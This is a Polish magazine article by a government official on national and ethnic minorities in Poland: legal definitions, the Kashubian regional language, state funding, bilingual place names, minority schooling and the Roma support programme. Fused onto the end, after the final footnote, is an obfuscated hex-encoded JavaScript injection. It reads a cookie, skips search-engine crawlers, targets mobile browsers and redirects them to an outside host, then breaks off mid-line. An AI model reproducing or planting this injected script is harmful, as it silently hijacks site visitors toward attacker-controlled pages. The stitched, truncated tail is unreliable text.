Przegląd Powszechny

A A A

Mniejszości narodowe i etniczne w Polsce

komentarze

Jaki jest stan mniejszości narodowych i etnicznych w Polsce? W jaki sposób państwo pomaga im zachować kulturową tożsamość? Czym jest język regionalny?

Podczas posiedzenia Komitetu ds. Likwidacji Dyskryminacji Rasowej ONZ, które odbyło się 5 i 6 sierpnia 2009 r. w Genewie, jego członkowie wysoko ocenili realizację przez Polskę postanowień Międzynarodowej Konwencji w Sprawie Likwidacji Wszelkich Form Dyskryminacji Rasowej (CERD). W podsumowaniu zwrócili uwagę, że polskie rozwiązania, m.in. w zakresie praw mniejszości narodowych, mogą być punktem odniesienia dla innych krajów. Ale jednocześnie w trakcie dyskusji wielu mówców prosiło o wyjaśnienie, dlaczego w Polsce używamy tak wielu terminów („mniejszości narodowe”, „mniejszości etniczne”, „język regionalny”) i co się za nimi kryje. Śledząc toczące się w naszym kraju dyskusje na temat mniejszości narodowych i etnicznych, dochodzę do wniosku, że ta wielość terminologii stwarza problemy nie tylko, jak miało to miejsce w Genewie, specjalistom z Algierii, Brazylii czy Wielkiej Brytanii, ale także osobom wypowiadającym się w tej sprawie na łamach prasy polskiej. Zwłaszcza że jeden z wymienionych przeze mnie terminów („język regionalny”) został wprowadzony do polskiego porządku prawnego (a więc i do naszej świadomości) zaledwie cztery lata temu, po uchwaleniu ustawy z 6 stycznia 2005 r. o mniejszościach narodowych i etnicznych oraz o języku regionalnym.

Dwa terminy („mniejszość narodowa” i „mniejszość etniczna”), którymi posługujemy się, na gruncie międzynarodowym oznaczają to samo, czyli mniejszość narodową. Trzeba zresztą przyznać, że wspomniana ustawa, szczegółowo wyliczając, jakie warunki muszą zostać spełnione, by daną grupę uznać za mniejszość narodową bądź etniczną, wymienia tylko jedną przesłankę, która je różnicuje. Zanim jednak przejdziemy do tego, co różni mniejszości narodowe i etniczne, odpowiedzmy sobie na pytanie: Jakie cechy powinna spełniać dana grupa, by można ją było uznać za mniejszość narodową lub etniczną? Cechy te można podzielić na obiektywne i subiektywne. Specjaliści, w zależności od tego jaką dyscyplinę wiedzy reprezentują, przykładają większą wagę do tych pierwszych lub ostatnich. Przykładowo, historycy kładą nacisk na cechy obiektywne, socjologowie, zwłaszcza ostatnio – na subiektywne. Wydaje się, że polskiemu ustawodawcy udała się trudna sztuka zachowania równowagi między jednymi a drugimi. Cechy obiektywne, które muszą zostać spełnione to: polskie obywatelstwo (zgodnie z art. 35 Konstytucji RP); pozostawanie w liczebnej mniejszości w stosunku do pozostałej części ludności RP; istotne odróżnianie się od pozostałych obywateli językiem, kulturą lub tradycją; zamieszkiwanie przez przodków obecnego terytorium RP od co najmniej stu lat. Z kolei cechy subiektywne to: dążenie do zachowania swojego języka, kultury lub tradycji oraz posiadanie świadomości własnej historycznej wspólnoty narodowej lub etnicznej i zmierzanie do jej wyrażania i ochrony.

Ta jedna jedyna cecha różnicująca mniejszości narodowe i etniczne sprowadza się do istnienia bądź nieistnienia państwa, w które zorganizowany jest naród, z którym utożsamia się dana grupa. Jeżeli państwo takie istnieje – mamy do czynienia z mniejszością narodową. Jeżeli państwa takiego nie ma – etniczną. Tak więc, przykładowo, mniejszością narodową są Ormianie, a etniczną – Tatarzy. W świetle definicji obowiązującej w Polsce wszystkie pozostałe cechy określające mniejszości narodowe i etniczne są takie same. Takie same są też prawa przysługujące tym mniejszościom. Gwoli ścisłości trzeba zauważyć, że w ordynacji wyborczej do Sejmu mówi się jedynie o preferencjach wyborczych dla mniejszości narodowych, pomijając etniczne. Wśród prawników toczy się spór, czy wspomniany przepis, mimo wszystko, obejmuje obydwie grupy, czy tylko jedną z nich. Póki co pozostaje on sporem czysto teoretycznym, żadna bowiem z mniejszości etnicznych nie ma wielkich szans na skorzystanie z tego przepisu.

Polskie prawo jest chyba najbardziej precyzyjne, jeśli chodzi o określenie mniejszości narodowych. W prawodawstwach innych państw podaje się bowiem definicję lub wylicza mniejszości. Polski ustawodawca zrobił i jedno, i drugie. Nie tylko bowiem precyzyjnie zapisał definicje, ale także wyliczył grupy, które spełniają określone w nich kryteria. Tym samym uniknął pokusy kreowania rzeczywistości. Dzięki takiemu sposobowi postępowania jako mniejszości narodowe i etniczne zostały zapisane tylko te grupy, które spełniają określone w ustawie kryteria. Innymi słowy, w prawie polskim konkretne grupy zostały nie tyle uznane za mniejszości, ile raczej zapisano w ustawie tylko te grupy, które spełniają wymienione kryteria. Jednocześnie wymienienie konkretnych mniejszości pozwala uniknąć sporów, którym grupom przysługują zapisane w ustawie prawa. Wydaje się też, że ustawa z 6 stycznia 2005 r. zapewniła względną stabilność w tak delikatnej materii, jak ta, którą reguluje. Utrudniła bowiem ewentualnemu przyszłemu kodyfikatorowi zbyt pochopne wprowadzanie zmian na liście mniejszości. Obecnie bowiem nie wystarczy dopisanie lub wykreślenie jakiejś grupy z listy mniejszości. Grupa taka musiałaby bowiem – w przypadku wpisania spełniać określone w definicji warunki, a w przypadku wykreślenia – przestać im odpowiadać. Jakie więc są w Polsce grupy, które obecnie spełniają ustawowe wymagania. W przypadku mniejszości narodowych są to: Białorusini (47 640 osób)[1]; Czesi (386 osób); Litwini (5639 osób); Niemcy (147 094 osób); Ormianie (262 osoby); Rosjanie (3 244 osoby); Słowacy (1710 osób); Ukraińcy (27 172 osoby); Żydzi (1055 osób).

Natomiast mniejszości etniczne to: Karaimi (43 osoby); Łemkowie (5 850 osób); Romowie (12 731 osób); Tatarzy (447 osób).

Warto podkreślić, że o ile w trakcie prac nad wspomnianą ustawą dyskusja na temat definicji mniejszości narodowych i etnicznych toczyła się przez kilka lat, o tyle lista mniejszości narodowych i etnicznych nie budziła kontrowersji. Pojawia się niekiedy pytanie, dlaczego ustawodawca nie uznał za mniejszość jakiejś grupy. Otóż tylko dlatego, że nie spełnia ona ustawowych kryteriów.

Pada niekiedy zarzut, że państwo polskie wypowiada się w tak delikatnej kwestii jak świadomość narodowa i etniczna swoich obywateli. I jest w tym daleko idące nieporozumienie. Polska bowiem przez swoje ustawodawstwo oraz praktyczne działania otacza szczególną opieką oraz dystrybuuje środki budżetowe na rzecz wspierania tożsamości kulturowej tych grup, które przez wieki, wspólnie z Polakami, budowały państwo polskie i których kultura wzbogaca współczesność naszego państwa. Nie przeszkadza to, oczywiście, by także inne grupy (regionalne, imigranckie) mogły pielęgnować swoją kulturę.

I w tym miejscu dochodzimy do pytania o to, dlaczego nasza terminologia odbiega od terminologii międzynarodowej, mimo że w opinii ekspertów nasze rozwiązania mogą być uznawane za modelowe. Wytłumaczeniem tego pozornego paradoksu jest tradycja wieloetnicznej Rzeczpospolitej, państwa tolerancji narodowościowej i religijnej. Tradycja, której wprawdzie nie zawsze byliśmy wierni, ale która znajduje potwierdzenie we współczesnym polskim prawie.

Zdziwienie członków Komitetu ds. Likwidacji Dyskryminacji Rasowej ONZ, w trakcie wspomnianego posiedzenia w Genewie, wzbudziło jeszcze jedno zestawienie informacji. Jak to jest, pytali, że w Polsce, w której mniejszości narodowe stanowią zaledwie 1% obywateli, mniejszości tych jest aż 13, co jak na Europę lokuje nas wśród krajów o najwyższej liczbie (choć nie liczebności) mniejszości. Odpowiedź jest oczywiście wszystkim w Polsce znana. Warto jednak zwrócić uwagę, że choć w wyniku II wojny światowej liczba osób należących do mniejszości w Polsce dramatycznie zmalała, co przerwało sześćsetletnią tradycję wieloetniczności naszego państwa, to liczba mniejszości w zasadzie nie uległa zmianie.

Wspomniałem na wstępie o nowym w polskiej tradycji terminie „język regionalny”. Został on wprowadzony do polskiego porządku prawnego na skutek poszukiwania najbardziej właściwej i adekwatnej do rzeczywistości formy ochrony tych wartości, które są najcenniejsze dla Kaszubów. Większość Kaszubów ma polską świadomość narodową. Nic dziwnego więc, że wówczas, gdy na początku lat dziewięćdziesiątych posłowie pracujący nad ustawą o mniejszościach narodowych i etnicznych, świadomi istnienia pewnej kaszubskiej odrębności, pytali ich, czy są zainteresowani umieszczeniem w ustawie – zainteresowania takiego nie wyrazili.

W ciągu 10 lat sytuacja uległa jednak zmianie. Był to okres dynamicznego rozwoju nauczania języka kaszubskiego w szkołach, a także jego kodyfikacji. Nic więc dziwnego, że gdy na początku obecnej dekady posłowie pracujący nad nową wersją ustawy o mniejszościach narodowych i etnicznych ponownie zwrócili się do Kaszubów, tym razem wyrazili oni zainteresowanie powstającym aktem prawnym. Sytuacja była bardziej sprzyjająca także na forum międzynarodowym, bowiem Rada Europy opracowała i doprowadziła do wejścia w życie Europejskiej Karty Języków Regionalnych lub Mniejszościowych. Posłowie i przedstawiciele Zrzeszenia Kaszubsko-Pomorskiego doszli do zgodnego wniosku, że „język regionalny” jest tym pojęciem, które najlepiej oddaje sytuację Kaszubów. Jednocześnie sami zainteresowani uznali, że zaspokojenie praw językowych najpełniej odpowiada ich aspiracjom. Jako że inspiracją była Europejska Karta Języków Regionalnych lub Mniejszościowych, sięgnięto do tej konwencji, by zaczerpnąć z niej definicję „języka regionalnego”.

Zgodnie z tą definicją językiem regionalnym jest język: tradycyjnie używany przez grupę obywateli, która jest mniej liczna od reszty ludności; różniący się od języka oficjalnego; niebędący dialektem języka oficjalnego, ani językiem migrantów.

Ta dosyć ogólna definicja, w połączeniu z definicjami mniejszości narodowych i etnicznych, pozwala jednak na precyzyjne określenie, jakie grupy oraz języki podlegają szczególnej ochronie ze strony państwa. Wskazują one też, że tej szczególnej ochronie nie podlegają migranci (wymóg 100 lat) i ich języki oraz grupy regionalne i dialekty języka polskiego. Ustawodawca precyzyjnie zakreślił więc krąg podmiotów, podlegających ochronie w świetle ustawy z 6 stycznia 2005 r.

Przede wszystkim dookreślił, że jedynym językiem regionalnym jest język kaszubski. Należy przy tym pamiętać, że choć w świetle prawa polskiego i praktyki ochrona języka kaszubskiego jest szeroka, to w przypadku mniejszości narodowych i etnicznych ochronie podlega całość zjawisk związanych z ich tożsamością kulturową, a w przypadku Kaszubów – tylko język. Ponadto, ustawodawca wykluczył możliwość ubiegania się o status języka regionalnego dla gwar i dialektów. Przykładowo, gdyby o status taki dla gwary kurpiowskiej chcieli się ubiegać mieszkańcy Kadzidła i Myszyńca, wspomniany zapis będzie dla takiego przedsięwzięcia znaczącym utrudnieniem. Nie znaczy to, że dialekty nie podlegają żadnej ochronie prawnej. Ochronę taką przewiduje ustawa o języku polskim, która stwierdza, że ochrona języka polskiego polega m.in. na upowszechnianiu szacunku dla regionalizmów i gwar, a także przeciwdziałaniu ich zanikowi.

Zdefiniowanie pojęć „mniejszość narodowa”, „mniejszość etniczna” oraz „język regionalny” było niezbędne, by państwo polskie mogło sprecyzować, jakie bierze na siebie zobowiązania związane z podtrzymywaniem tożsamości narodowej i etnicznej mniejszości oraz rozwojem języka regionalnego. Nie wystarczyło bowiem, by państwo stwierdziło, że są to wartości, które zobowiązuje się chronić. Należało jeszcze wskazać instrumenty, którymi będzie się posługiwać, oraz określić środki niezbędne do realizacji tego celu. Zwłaszcza w przypadku określenia wysokości środków finansowych niezbędne było określenie działań, na które zostaną one przeznaczone. W tym kontekście niedookreślenie podmiotów, na rzecz których przeznaczane będą środki finansowe, groziłoby nieuzasadnionym rozszerzaniem listy ubiegających się o nie grup. W konsekwencji, w sytuacji zrozumiałych, ograniczonych możliwości budżetowych państwa, groziłoby to ograniczeniem środków dla rzeczywistych mniejszości narodowych i etnicznych oraz utrudnieniem zachowania ich tożsamości.

Zwykle gdy mówimy o instrumentach ochrony mniejszości, mamy na myśli środki finansowe przeznaczone na dotacje. I rzeczywiście, działania służące zachowaniu tożsamości mniejszości oraz ochronie języka regionalnego finansowane są przede wszystkim z budżetu Ministra Spraw Wewnętrznych i Administracji. Są to różnego rodzaju imprezy organizacji pozarządowych (festyny, festiwale, koncerty, przedstawienia, jarmarki, zloty, imprezy okolicznościowe i plenerowe), strony internetowe, wydawnictwa książkowe i periodyczne (w latach dziewięćdziesiątych przyjęto zasadę, że z budżetu państwa finansowane jest przynajmniej jedno pismo dla mniejszości, obecnie najważniejszym donatorem niemal wszystkich takich pism – a wiele mniejszości wydaje ich po kilka – jest Minister Spraw Wewnętrznych i Administracji), audycje radiowe i telewizyjne (z tym, że dotacje z budżetu Ministra Spraw Wewnętrznych i Administracji przekazywane są na audycje w mediach komercyjnych, a audycje nadawane w mediach publicznych finansowane są przez te media), inwestycje budowlane (budowa i remont szkół i domów kultury) i niebudowlane (w szczególności różnego rodzaju sprzęt) oraz dotacje podmiotowe (możliwość ich otrzymania mają wyłącznie organizacje mniejszości narodowych i etnicznych, organizacje kaszubskie oraz instytucje kulturalne mające istotne znaczenie dla kultury mniejszości i języka regionalnego). Od uchwalenia pierwszego budżetu państwa, który został przyjęty po wejściu w życie ustawy z 6 stycznia 2005 r., rokrocznie na dotacje przeznaczane są kwoty od 11 mln zł w 2006 r. do 13 mln zł w 2009 r. Wcześniej kwoty te wahały się między 5 a 6 mln zł.

Należy jednak pamiętać, że przekazywanie dotacji służących zachowaniu mniejszości i języka regionalnego, to tylko jeden z kilku instrumentów, którymi dysponuje Minister Spraw Wewnętrznych i Administracji oraz inne instytucje realizujące te same cele. Pamiętając o znaczeniu, jakie dla tożsamości ma język, należy wspomnieć o kolejnych rozwiązaniach wprowadzonych przez omawianą ustawę. Umożliwia ona używanie obok urzędowych nazw miejscowości i obiektów fizjograficznych (nazw rzek, jezior, gór) oraz nazw ulic – dodatkowych nazw w języku mniejszości. Dodatkowa nazwa w języku mniejszości może być ustalona na wniosek rady gminy, jeżeli liczba jej mieszkańców należących do mniejszości jest nie mniejsza niż 20% ogólnej liczby mieszkańców, albo gdy warunek ten nie został spełniony, ale za ustaleniem dodatkowej nazwy w języku mniejszości opowiedziała się w konsultacjach społecznych ponad połowa mieszkańców miejscowości biorących udział w konsultacjach. Dodatkowe nazwy mogą być używane tylko w gminach wpisanych do specjalnego rejestru prowadzonego przez Ministra Spraw Wewnętrznych i Administracji.

Dotychczas do wspomnianego rejestru zostało wpisanych 21 gmin, z tego 16 gmin z terenu województwa opolskiego (w których ustalono dodatkowe nazwy w języku niemieckim), jedna gmina w województwie śląskim (również z dodatkowymi nazwami w języku niemieckim), dwie gminy w województwie pomorskim (z dodatkowymi nazwami w języku kaszubskim), jedna gmina w województwie podlaskim (z dodatkowymi nazwami w języku litewskim) i jedna gmina w województwie małopolskim (z dodatkowymi nazwami w języku łemkowskim). Łącznie w językach niemieckim, kaszubskim, litewskim i łemkowskim, ustalono 314 dodatkowych nazw miejscowości. Tablice z ich dodatkowymi nazwami stanęły już w 14 gminach. Środki na ich wymianę przekazywane są z budżetu Ministra Spraw Wewnętrznych i Administracji.

W gminach, w których liczba mieszkańców należących do mniejszości jest nie mniejsza niż 20% ogólnej liczby mieszkańców, ustawa dopuszcza możliwość stosowania języków mniejszości jako języków pomocniczych. Daje to osobom należącym do mniejszości prawo do zwracania się do organów gminy w języku pomocniczym w formie pisemnej lub ustnej i na wyraźne życzenie uzyskiwania od nich odpowiedzi w tym języku. Także w tym przypadku używanie języków pomocniczych możliwe jest dopiero po wpisaniu gminy do rejestru, innego wprawdzie, ale również prowadzonego przez Ministra Spraw Wewnętrznych i Administracji. Znajduje się w nim obecnie 28 gmin. W 22 z nich, położonych w województwie opolskim, językiem pomocniczym jest język niemiecki; w trzech, znajdujących się w województwie podlaskim – język białoruski; w dwóch, z terenu województwa pomorskiego – język kaszubski; w jednej, położonej w województwie podlaskim – język litewski.

Mówiąc o prawach językowych, należy także wspomnieć o prawie do pisowni i używania swoich imion i nazwisk zgodnie z zasadami pisowni języków mniejszości oraz języka regionalnego, w szczególności do ich rejestracji w aktach stanu cywilnego i w dokumentach tożsamości. Warto także pamiętać o rozporządzeniu Ministra Spraw Wewnętrznych i Administracji z 18 marca 2002 r., na podstawie którego w miejscowościach, w których występują zwarte środowiska mniejszości narodowych lub etnicznych, nazwom i tekstom w języku polskim mogą towarzyszyć wersje w przekładzie na język mniejszości.

Niezwykle ważne znaczenie w zachowywaniu tożsamości narodowej i etnicznej mniejszości oraz ochrony języka regionalnego ma oświata. Polski system edukacji przewiduje możliwość nauczania zarówno języka, jak i w języku mniejszości. Uczniowie należący do mniejszości mają do wyboru, w zależności od potrzeb i istniejących warunków, możliwość uczenia się w języku ojczystym wszystkich przedmiotów, z wyjątkiem języka polskiego oraz historii i geografii Polski (ten model wybrali uczniowie litewscy); w szkołach lub oddziałach dwujęzycznych (ten model nie jest popularny, choć próby jego wprowadzenia podejmują przedstawiciele mniejszości niemieckiej); języka ojczystego jako odrębnego przedmiotu (ten model jest najbardziej popularny, wykorzystują go wszystkie mniejszości, których język jest nauczany w polskim szkolnictwie); w zespołach międzyszkolnych (ten model jest wykorzystywany w przypadku rozproszenia mniejszości, np. przez Ukraińców).

Polski system edukacji stwarza wiele ułatwień sprzyjających uczeniu się języka ojczystego. Minister Edukacji Narodowej finansuje programy i podręczniki dla uczniów korzystających z tej możliwości. Klasy mniejszościowe mogą być mniej liczne od pozostałych. Sprzyjający jest także system finansowania takich klas; gminy, w których one istnieją otrzymują subwencję oświatową zwiększoną o 20% w przypadku większych szkół i aż o 150% w przypadku mniejszych. Nauka języka ojczystego mniejszości oraz języka regionalnego możliwa jest od przedszkola poczynając, aż po egzamin maturalny. Mówiąc o wsparciu ze strony państwa, należy wspomnieć o strategiach rozwoju oświaty, które zostały już opracowane dla mniejszości litewskiej i niemieckiej, a obecnie opracowywane są dla kolejnych mniejszości. Dokumenty te opracowały Ministerstwo Edukacji Narodowej oraz Ministerstwo Spraw Wewnętrznych i Administracji, w porozumieniu z organizacjami pozarządowymi mniejszości, a w przypadku strategii litewskiej także jednostkami samorządu terytorialnego.

Z możliwości, jakie stwarza polski system oświaty korzysta 8 mniejszości narodowych i etnicznych oraz Kaszubi. W roku szkolnym 2008/2009: w 534 placówkach języka niemieckiego jako ojczystego uczyło się 38 269 uczniów; języka kaszubskiego – w 237 placówkach, 8518 uczniów; języka białoruskiego – w 47 placówkach, 3 409 uczniów; języka ukraińskiego – w 179 placówkach, 2483 uczniów; języka litewskiego – w 19 placówkach, 687 uczniów; języka łemkowskiego – w 44 placówkach, 311 uczniów; języka hebrajskiego – w 6 placówkach, 296 uczniów; języka słowackiego – w 13 placówkach, 273 uczniów; języka ormiańskiego – w 1 placówce, 16 uczniów.

Elementy języka romskiego wprowadzane są w przedszkolu w Czarnej Górze w województwie małopolskim i w niepublicznej szkole w Suwałkach, a elementy języka czeskiego w przedszkolu w Zelowie. Brak jest natomiast nauczania jako języków mniejszości, języków: tatarskiego, karaimskiego i rosyjskiego. Tego pierwszego z uwagi na zanik jego znajomości wśród samych Tatarów, tego drugiego ze względu na zbyt małą liczebność Karaimów, a ostatniego z powodu rozpowszechnienia rosyjskiego jako języka obcego.

Kolejny element związany z zachowaniem tożsamości kulturowej mniejszości oraz ochroną języka regionalnego – to udział mniejszości w życiu publicznym. Zgodnie z ordynacją wyborczą do Sejmu, komitetów wyborczych organizacji mniejszości narodowych nie obowiązują progi wyborcze. Z preferencji tych, jak do tej pory, udawało się skorzystać jedynie przedstawicielom mniejszości niemieckiej, którzy zasiadają w Sejmie nieprzerwanie od 1990 r. Pozostali posłowie reprezentujący mniejszości wchodzili do parlamentu jako przedstawiciele ogólnopolskich partii politycznych. Obecnie w Sejmie, jako przedstawiciele partii ogólnopolskich, zasiadają reprezentanci mniejszości ukraińskiej i białoruskiej oraz Kaszubi.

Ważny z punktu widzenia mniejszości jest ich udział w samorządach. Mniejszość niemiecka tradycyjnie od wielu lat wchodzi w skład koalicji rządzącej w województwie opolskim oraz do samorządów niższego szczebla w obu województwach Górnego Śląska. Mniejszość białoruska jest obecna we władzach powiatów i gmin południowej części województwa podlaskiego oraz sejmiku tego województwa. Polem aktywności mniejszości ukraińskiej jest województwo warmińsko-mazurskie, Kaszubów – pomorskie, a mniejszości łemkowskiej – gminy i powiaty małopolskiej części Beskidu Niskiego. Mniejszość litewska dominuje we władzach samorządowych Puńska, a w powiecie sejneńskim, zgodnie z niepisaną umową, jej przedstawiciel piastuje stanowisko wicestarosty.

Istotną instytucję, z punktu widzenia udziału mniejszości w życiu publicznym, powołała ustawa z 6 stycznia 2005 r. Komisja Wspólna Rządu i Mniejszości Narodowych i Etnicznych, o której mowa powyżej, jest organem opiniodawczo-doradczym Prezesa Rady Ministrów. Do kompetencji Komisji Wspólnej należy m.in. opiniowanie projektów aktów prawnych dotyczących mniejszości oraz wysokości i zasad podziału środków budżetowych przeznaczonych na ochronę ich tożsamości oraz języka. Komisja Wspólna formułuje także propozycje dotyczące zapewnienia realizacji praw i potrzeb mniejszości. W jej skład wchodzą, na równych prawach, przedstawiciele administracji rządowej oraz mniejszości i społeczności kaszubskiej, przy czym większym wspólnotom (Niemcom, Kaszubom, Białorusinom, Ukraińcom, Romom, Litwinom Łemkom) przysługują dwa mandaty, pozostałym – po jednym. Komisja Wspólna ma dwóch równorzędnych współprzewodniczących – jeden reprezentuje rząd, drugi – mniejszości. Pierwszym współprzewodniczącym ze strony mniejszościowej był przedstawiciel mniejszości ukraińskiej, kolejnym przedstawiciel Ormian, obecnie funkcję tę pełni reprezentant społeczności kaszubskiej. Współprzewodniczącym ze strony rządowej jest sekretarz stanu w Ministerstwie Spraw Wewnętrznych i Administracji. Ministerstwo to zapewnia także obsługę Komisji Wspólnej.

W skład Komisji Wspólnej wchodzi Zespół do Spraw Romskich, którego członkami jest 22 przedstawicieli mniejszości romskiej oraz będący w tym ciele w zdecydowanej mniejszości przedstawiciele administracji rządowej. Można by zapytać, dlaczego Zespół do Spraw Romskich jest jedynym funkcjonującym zespołem roboczym Komisji Wspólnej? Odpowiedź kryje się w sytuacji Romów. Jest to jedyna mniejszość, której położenie odbiega i to, niestety, zdecydowanie negatywnie, od sytuacji całego społeczeństwa. Polska wzięła na siebie dwa obowiązki względem mniejszości narodowych i etnicznych oraz społeczności kaszubskiej. Pierwszy, to pomoc w zachowaniu ich tożsamości oraz języka, drugi – zapewnienie integracji obywatelskiej. Z tym tylko, że w tym pierwszym przypadku działania muszą być podejmowane wobec wszystkich mniejszości. W drugim przypadku istnieje potrzeba podejmowania działań jedynie na rzecz mniejszości romskiej.

Wspomniane działania prowadzone są od 9 lat. Początkowo jedynie w kilku powiatach, w ramach „Pilotażowego programu rządowego na rzecz społeczności romskiej w województwie małopolskim na lata 2001-2003”, a od 2004 r. w ramach „Programu na rzecz społeczności romskiej w Polsce”.

Podejmowane w ramach „Programu” działania mają charakter kompleksowy. Obejmują zadania z zakresu edukacji, poprawy sytuacji bytowej i socjalnej, zdrowia, przeciwdziałania bezrobociu, bezpieczeństwa, kultury, upowszechniania wiedzy o społeczności romskiej oraz edukacji obywatelskiej Romów. Koordynatorem „Programu” jest Minister Spraw Wewnętrznych i Administracji, a jego uczestnikami przede wszystkim jednostki samorządu terytorialnego oraz romskie organizacje pozarządowe.

Środki przeznaczone na finansowanie „Programu” pochodzą głównie z rezerwy celowej, pozostającej w dyspozycji Ministra Spraw Wewnętrznych i Administracji. W 2004 r. na realizację „Programu” złożyły się 304 zadania realizowane przez 109 podmiotów, a w 2008 r. 627 zadań zostało zrealizowane przez 207 podmiotów. W latach 2001-2008 w działania prowadzone w ramach obu „Programów” zaangażowano środki budżetowe w wysokości prawie 45 mln zł. Ponadto, pod koniec 2008 r. uruchomiony został tzw. komponent romski „Programu Operacyjnego Kapitał Ludzki”, w ramach którego od bieżącego roku finansowane są dodatkowe zadania na rzecz mniejszości romskiej.

W ramach wspomnianego „Programu” za najważniejszą uznano edukację – w tej też dziedzinie osiągane są największe sukcesy. Dzięki pracy asystentów edukacji romskiej i nauczycieli wspomagających ich edukację oraz działalności świetlic środowiskowych znacznie zwiększyła się liczba dzieci realizujących obowiązek szkolny. Poprawiły się także ich frekwencja w szkole oraz wyniki nauczania. Ważne pozostają zadania inwestycyjne zmierzające do poprawy sytuacji mieszkaniowej i sanitarnej, polegające na remontach i wsparciu budownictwa mieszkaniowego, podłączeniu mieszkań do kanalizacji i wodociągów, udostępnieniu bieżącej wody oraz energii elektrycznej. Działania mające na celu szeroko rozumianą profilaktykę zdrowotną realizowane były głównie przez zatrudnianie pielęgniarek środowiskowych, badań profilaktycznych i szczepień ochronnych oraz organizację tzw. białych dni. W celu aktywizacji zawodowej społeczności romskiej podjęto działania mające na celu utworzenie nowych miejsc pracy i zatrudnienie osób pochodzenia romskiego, również przez subsydiowanie miejsc pracy, szkolenia oraz poradnictwo zawodowe. Ze środków „Programu” finansowane są również Centra Porad Obywatelskich, wsparcie organizacyjne i techniczne dla organizacji romskich, spotkania konsultacyjne z udziałem Romów, lokalnych władz, organizacji pozarządowych, straży gminnych i policji.

W trakcie wspomnianego na początku posiedzenia Komitetu ds. Likwidacji Dyskryminacji Rasowej ONZ jego członkowie interesowali się głównie działaniami podejmowanymi przez państwo w celu poprawy sytuacji Romów. Ale padały też pytania o Kaszubów i Karaimów. I choć tych ostatnich jest, w świetle ostatniego spisu powszechnego, zaledwie czterdzieści troje, nie umniejsza to obowiązków państwa wobec nich. A może nawet powoduje, że stają się one szczególnie doniosłe.

Dobiesław Rzemieniewski, ur. 1962; absolwent Wydziału Historii na Uniwersytecie Warszawskim, dziennikarz, dyplomata; naczelnik Wydziału Mniejszości Narodowych i Etnicznych w MSWiA; członek Komisji Wspólnej Rządu i Mniejszości Narodowych i Etnicznych; autor publikacji nt. praw mniejszości narodowych i Europy Wschodniej.


[1] Dane dotyczące liczebności mniejszości podano na podstawie wyników narodowego spisu powszechnego ludności i mieszkań z 2002 r.var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| 